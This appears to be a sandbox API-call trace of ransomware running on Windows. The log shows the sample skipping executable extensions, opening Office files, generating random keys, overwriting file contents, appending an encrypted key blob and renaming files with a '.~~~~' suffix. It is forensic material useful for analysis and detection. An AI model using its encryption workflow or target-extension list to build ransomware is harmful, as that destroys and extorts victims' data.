	[0138.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cef50 | out: hHeap=0x300000) returned 1
	[0138.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0138.267] GetLastError () returned 0x0
	[0138.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".scr") returned 0x0
	[0138.267] lstrlenW (lpString=".cmd") returned 4
	[0138.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".cmd") returned 0x0
	[0138.267] lstrlenW (lpString=".dll") returned 4
	[0138.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dll") returned 0x0
	[0138.267] lstrlenW (lpString=".bat") returned 4
	[0138.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".bat") returned 0x0
	[0138.267] lstrlenW (lpString=".cpl") returned 4
	[0138.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".cpl") returned 0x0
	[0138.267] lstrlenW (lpString=".sys") returned 4
	[0138.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".sys") returned 0x0
	[0138.267] lstrlenW (lpString=".msc") returned 4
	[0138.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".msc") returned 0x0
	[0138.268] lstrlenW (lpString=".com") returned 4
	[0138.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".com") returned 0x0
	[0138.268] lstrlenW (lpString=".lnk") returned 4
	[0138.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".lnk") returned 0x0
	[0138.268] lstrlenW (lpString=".msp") returned 4
	[0138.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".msp") returned 0x0
	[0138.268] lstrlenW (lpString=".pif") returned 4
	[0138.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".pif") returned 0x0
	[0138.268] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0138.271] lstrlenW (lpString=".sqb") returned 4
	[0138.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".sqb") returned 0x0
	[0138.271] lstrlenW (lpString=".ost") returned 4
	[0138.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".ost") returned 0x0
	[0138.271] lstrlenW (lpString=".txt") returned 4
	[0138.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".txt") returned 0x0
	[0138.271] lstrlenW (lpString=".mdt") returned 4
	[0138.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".mdt") returned 0x0
	[0138.271] lstrlenW (lpString=".BDB") returned 4
	[0138.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".BDB") returned 0x0
	[0138.271] lstrlenW (lpString=".eql") returned 4
	[0138.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".eql") returned 0x0
	[0138.271] lstrlenW (lpString=".DBF") returned 4
	[0138.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DBF") returned 0x0
	[0138.271] lstrlenW (lpString=".EQL") returned 4
	[0138.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".EQL") returned 0x0
	[0138.272] lstrlenW (lpString=".FDB") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".FDB") returned 0x0
	[0138.272] lstrlenW (lpString=".EDB") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".EDB") returned 0x0
	[0138.272] lstrlenW (lpString=".DACPAC") returned 7
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.272] lstrlenW (lpString=".VHD") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".VHD") returned 0x0
	[0138.272] lstrlenW (lpString=".DBV") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DBV") returned 0x0
	[0138.272] lstrlenW (lpString=".dacpac") returned 7
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dacpac") returned 0x0
	[0138.272] lstrlenW (lpString=".sdf") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".sdf") returned 0x0
	[0138.272] lstrlenW (lpString=".accdb") returned 6
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".accdb") returned 0x0
	[0138.272] lstrlenW (lpString=".DBX") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DBX") returned 0x0
	[0138.272] lstrlenW (lpString=".MDT") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".MDT") returned 0x0
	[0138.272] lstrlenW (lpString=".SQB") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".SQB") returned 0x0
	[0138.272] lstrlenW (lpString=".vhd") returned 4
	[0138.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".vhd") returned 0x0
	[0138.272] lstrlenW (lpString=".bac") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".bac") returned 0x0
	[0138.273] lstrlenW (lpString=".mdf") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".mdf") returned 0x0
	[0138.273] lstrlenW (lpString=".BAK") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".BAK") returned 0x0
	[0138.273] lstrlenW (lpString=".BAC") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".BAC") returned 0x0
	[0138.273] lstrlenW (lpString=".dbs") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dbs") returned 0x0
	[0138.273] lstrlenW (lpString=".vhdx") returned 5
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".vhdx") returned 0x0
	[0138.273] lstrlenW (lpString=".NDF") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".NDF") returned 0x0
	[0138.273] lstrlenW (lpString=".dat") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dat") returned 0x0
	[0138.273] lstrlenW (lpString=".DBS") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DBS") returned 0x0
	[0138.273] lstrlenW (lpString=".CKP") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".CKP") returned 0x0
	[0138.273] lstrlenW (lpString=".edb") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".edb") returned 0x0
	[0138.273] lstrlenW (lpString=".PST") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".PST") returned 0x0
	[0138.273] lstrlenW (lpString=".dbf") returned 4
	[0138.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dbf") returned 0x0
	[0138.274] lstrlenW (lpString=".SQL") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".SQL") returned 0x0
	[0138.274] lstrlenW (lpString=".pst") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".pst") returned 0x0
	[0138.274] lstrlenW (lpString=".dbv") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dbv") returned 0x0
	[0138.274] lstrlenW (lpString=".SDF") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".SDF") returned 0x0
	[0138.274] lstrlenW (lpString=".dtxs") returned 5
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dtxs") returned 0x0
	[0138.274] lstrlenW (lpString=".db3") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".db3") returned 0x0
	[0138.274] lstrlenW (lpString=".OST") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".OST") returned 0x0
	[0138.274] lstrlenW (lpString=".dbx") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dbx") returned 0x0
	[0138.274] lstrlenW (lpString=".DB3") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DB3") returned 0x0
	[0138.274] lstrlenW (lpString=".DAT") returned 4
	[0138.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DAT") returned 0x0
	[0138.275] lstrlenW (lpString=".VHDX") returned 5
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".VHDX") returned 0x0
	[0138.275] lstrlenW (lpString=".ndf") returned 4
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".ndf") returned 0x0
	[0138.275] lstrlenW (lpString=".DB") returned 3
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DB") returned 0x0
	[0138.275] lstrlenW (lpString=".sql") returned 4
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".sql") returned 0x0
	[0138.275] lstrlenW (lpString=".MYD") returned 4
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".MYD") returned 0x0
	[0138.275] lstrlenW (lpString=".DBT") returned 4
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DBT") returned 0x0
	[0138.275] lstrlenW (lpString=".ACCDB") returned 6
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.275] lstrlenW (lpString=".fdb") returned 4
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".fdb") returned 0x0
	[0138.275] lstrlenW (lpString=".bak") returned 4
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".bak") returned 0x0
	[0138.275] lstrlenW (lpString=".myd") returned 4
	[0138.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".myd") returned 0x0
	[0138.275] lstrlenW (lpString=".DTXS") returned 5
	[0138.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".DTXS") returned 0x0
	[0138.276] lstrlenW (lpString=".ckp") returned 4
	[0138.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".ckp") returned 0x0
	[0138.276] lstrlenW (lpString=".dbt") returned 4
	[0138.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".dbt") returned 0x0
	[0138.276] lstrlenW (lpString=".db") returned 3
	[0138.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".db") returned 0x0
	[0138.276] lstrlenW (lpString=".TXT") returned 4
	[0138.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".TXT") returned 0x0
	[0138.276] lstrlenW (lpString=".MDF") returned 4
	[0138.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".MDF") returned 0x0
	[0138.276] lstrlenW (lpString=".bdb") returned 4
	[0138.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".bdb") returned 0x0
	[0138.276] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0138.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.276] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0138.278] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.278] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0138.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0138.278] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25826806023) returned 1
	[0138.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbbdcfc70, dwHighDateTime=0x1d60e1e)) 
	[0138.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0138.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0138.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0138.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825ac8
	[0138.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825ac8 | out: hHeap=0x300000) returned 1
	[0138.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf298
	[0138.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf298 | out: hHeap=0x300000) returned 1
	[0138.279] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0138.279] GetLastError () returned 0x0
	[0138.279] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0138.279] GetLastError () returned 0x0
	[0138.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.418] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.418] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.419] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.419] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.419] CloseHandle (hObject=0x114) returned 1
	[0138.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf490
	[0138.419] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css.~~~~")) returned 1
	[0138.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf490 | out: hHeap=0x300000) returned 1
	[0138.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0138.422] GetLastError () returned 0x0
	[0138.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".scr") returned 0x0
	[0138.423] lstrlenW (lpString=".cmd") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".cmd") returned 0x0
	[0138.423] lstrlenW (lpString=".dll") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".dll") returned 0x0
	[0138.423] lstrlenW (lpString=".bat") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".bat") returned 0x0
	[0138.423] lstrlenW (lpString=".cpl") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".cpl") returned 0x0
	[0138.423] lstrlenW (lpString=".sys") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".sys") returned 0x0
	[0138.423] lstrlenW (lpString=".msc") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".msc") returned 0x0
	[0138.423] lstrlenW (lpString=".com") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".com") returned 0x0
	[0138.423] lstrlenW (lpString=".lnk") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".lnk") returned 0x0
	[0138.423] lstrlenW (lpString=".msp") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".msp") returned 0x0
	[0138.423] lstrlenW (lpString=".pif") returned 4
	[0138.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".pif") returned 0x0
	[0138.423] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme19.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0138.648] lstrlenW (lpString=".sqb") returned 4
	[0138.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".sqb") returned 0x0
	[0138.648] lstrlenW (lpString=".ost") returned 4
	[0138.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".ost") returned 0x0
	[0138.648] lstrlenW (lpString=".txt") returned 4
	[0138.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".txt") returned 0x0
	[0138.648] lstrlenW (lpString=".mdt") returned 4
	[0138.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".mdt") returned 0x0
	[0138.648] lstrlenW (lpString=".BDB") returned 4
	[0138.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".BDB") returned 0x0
	[0138.648] lstrlenW (lpString=".eql") returned 4
	[0138.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".eql") returned 0x0
	[0138.648] lstrlenW (lpString=".DBF") returned 4
	[0138.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".DBF") returned 0x0
	[0138.648] lstrlenW (lpString=".EQL") returned 4
	[0138.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME19.CSS", lpSrch=".EQL") returned 0x0
